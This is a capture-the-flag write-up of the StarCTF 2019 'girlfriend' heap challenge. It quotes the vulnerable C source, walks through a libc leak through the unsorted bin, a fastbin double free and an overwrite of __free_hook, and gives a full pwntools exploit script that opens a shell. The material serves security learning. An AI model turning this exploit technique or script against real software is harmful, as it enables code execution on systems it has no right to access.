StarCTF 2019: girlfriend

I long for love, but also like single life. But it's a little difficult to find a girlfriend by playing CTF.

TL;DR

Classic LIBC leak via Unsorted Bins' read primitive into Fastbins' Double Free write primitive to achieve code execution by overwriting __free_hook.

Challenge Overview

The binary presents a classic heap challenge menu with options to allocate, free, and view chunk contents.

Option 3 isn’t implemented, so there’s no direct way to modify the content of an allocated chunk.

void editinfo(){
     puts("Programmer is tired, delete it and add a new info.");
}

The interesting twist is that the allocation size is controllable, and hence there is more flexibility as to what kinds of free lists we want our chunk to end up in after free-ing.

typedef struct Girl{
    char *name;
    int name_size;
    char phone[12];
} girl;

#define poollength 100
girl *pool[poollength];
int length = 0;

void addinfo(){
    if(length>poollength){
        puts("Enough!");
    }
    pool[length] = (girl*)malloc(sizeof(girl));
    puts("Please input the size of girl's name");
    int size;
    scanf("%d",&size);   // <----- Controllable size
    pool[length]->name_size = size;
    pool[length]->name = (char*)malloc(size);

    puts("please inpute her name:");
    read(0,pool[length]->name,size);
    puts("please input her call:");
    read(0,pool[length]->phone,12);
    pool[length]->phone[11] = '\x00';
    puts("Done!");
    length++;
    return;
}

When Option 4 is called, the name field of the struct Girl is freed, but the pointer to the actual structure itself stays intact, which means we have a Use-After Free scenario here.

void call_her(){
    puts("Be brave,speak out your love!");
    puts("");
    puts("Please input the index:");
    int index;
    scanf("%d",&index);
    if(index<0 || index>99)
        exit(0);
    if(pool[index]){
      free(pool[index]->name);
    }
    srand((unsigned)time(0));
    int ran_num=rand() % 10;
    if(ran_num<2)
       puts("Now she is your girl friend!");
    else
       puts("Oh, you have been refused.");
    puts("Done!");
    return;
}

The provided LIBC version is 2.29, so there are double-free protections built in that we need to consider.

Stage 1: LIBC Leak via Unsorted Bins

A common technique to get a libc leak is to free a big chunk (>0x400 bytes) so it gets put into the unsorted bin. The unsorted bin is a doubly linked list, and its head is stored in the libc's data section.

When we free a chunk into the unsorted bin for the first time, its forward pointer then points into the libc, at a known offset. If we can read this pointer, we leak the base address of libc.

Conveniently, we are able to control the allocation size, which means we can force the chunk to end up in unsorted bin after free-ing.

# LIBC leak via unsorted bin
add(0x1000, b"AAAA", b"0123") # 0
add(0x1000, b"AAAA", b"0123") # 1
delete(0)
delete(1)
show(0)

In GDB, we can confirm that there is a LIBC pointer of main_arena+96 in the unsorted bin.

We can then calculate the offset using main_area and it's delta value of 0x96.

leak = u64(r.recv(6).ljust(8, b'\x00'))
info("Leak: %#x", leak)
libc.address = leak - 0x3b1ca0 # leak - main arena - delta (0x96)
info("LIBC Base Address: %#x", libc.address)

Stage 2: Double Free

After leaking the LIBC, we want to fill up the tcache entirely so that we can perform double-free on fastbins instead to avoid the double-free protections.

# Fill up 7 tcache + 2 fastbins
for i in range(9): # 2 - 10
    add(0x68, b"BBBB", b"4567")
for i in range(2, 9):
    delete(i)

# Double free in fastbins
delete(9)
delete(10)
delete(9)

In GDB, the fastbin free list now shows the same address appearing twice, confirming that the double-free succeeded.

Before performing the arbitrary write, we need to first use the allocator's first-fit behaviour to re-allocate chunks from tcache.

# First fit, re-allocate chunks from tcache
for i in range(7):
    add(0x68, b"CCCC", b"0000") # 11 - 17

Stage 3: Code Execution

According to this article, there are a couple of interesting targets that we can consider overwriting, one of which is __free_hook, which only works on GLIBC <= 2.33.

When __free_hook is executed, the argument to free() will be passed to system(). If we can allocate a chunk and place the string /bin/sh in it, calling free on that chunk will effectively call system("/bin/sh") to get a shell.

payload = libc.sym['__free_hook'] - 0x8
add(0x68, p64(payload), b"0000") # 18
add(0x68, b"DDDD", b"0000") # 19
add(0x68, b"EEEE", b"0000") # 20

payload = b'A'*0x8 + p64(libc.sym["system"])
add(0x68, payload, b"0000") # 21

# Write /bin/sh to name field
add(0x18, "/bin/sh\x00", b"0000") # 22
# free(/bin/sh) is now system(/bin/sh)
delete(22)

Solution

solve.py
#!/usr/bin/env python3

from pwn import *
import warnings 

exe = ELF("./chall_patched")
libc = ELF("./libc-2.29.so")
ld = ELF("./ld-2.29.so")

warnings.filterwarnings("ignore",category=BytesWarning) 
context.binary = exe
context.log_level="info"

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    return r

def add(size, name='', phone=''):
    r.sendlineafter("choice:",'1')
    r.sendlineafter("Please input the size of girl's name\n",str(size))
    r.sendlineafter("please inpute her name:\n", name)
    r.sendlineafter("please input her call:\n", phone)
    r.recvuntil("Done!\n")

def show(index):
    r.sendlineafter("choice:",'2')
    r.sendlineafter("Please input the index:\n",str(index))
    r.recvuntil('name:\n')

def delete(index):
    r.sendlineafter("choice:",'4')
    r.sendlineafter("Please input the index:\n",str(index))

if __name__ == "__main__":
    r = conn()

    # LIBC leak via unsorted bin
    add(0x1000, b"AAAA", b"0123") # 0
    add(0x1000, b"AAAA", b"0123") # 1
    delete(0)
    delete(1)
    show(0)

    leak = u64(r.recv(6).ljust(8, b'\x00'))
    info("Leak: %#x", leak)
    libc.address = leak - 0x3b1ca0
    info("LIBC Base Address: %#x", libc.address)

    # Fill up 7 tcache + 2 fastbins
    for i in range(9): # 2 - 10
        add(0x68, b"BBBB", b"4567")
    for i in range(2, 9):
        delete(i)

    # Double free in fastbins
    delete(9)
    delete(10)
    delete(9)

    # First fit, re-allocate chunks from tcache
    for i in range(7):
        add(0x68, b"CCCC", b"0000") # 11 - 17

    # Start poisoning

    # Our target arbitrary write address
    info("Target: %#x", libc.sym['__free_hook'])
    # But since the target always ends with 8, we have to offset it to ensure it ends with 0
    info("Writing: %#x", libc.sym['__free_hook'] - 0x8)

    payload = libc.sym['__free_hook'] - 0x8
    add(0x68, p64(payload), b"0000") # 18
    add(0x68, b"DDDD", b"0000") # 19
    add(0x68, b"EEEE", b"0000") # 20

    payload = b'A'*0x8 + p64(libc.sym["system"])
    add(0x68, payload, b"0000") # 21

    # Write /bin/sh to name field
    add(0x18, "/bin/sh\x00", b"0000") # 22
    # free(/bin/sh) is now system(/bin/sh)
    delete(22)

    r.interactive()

Last updated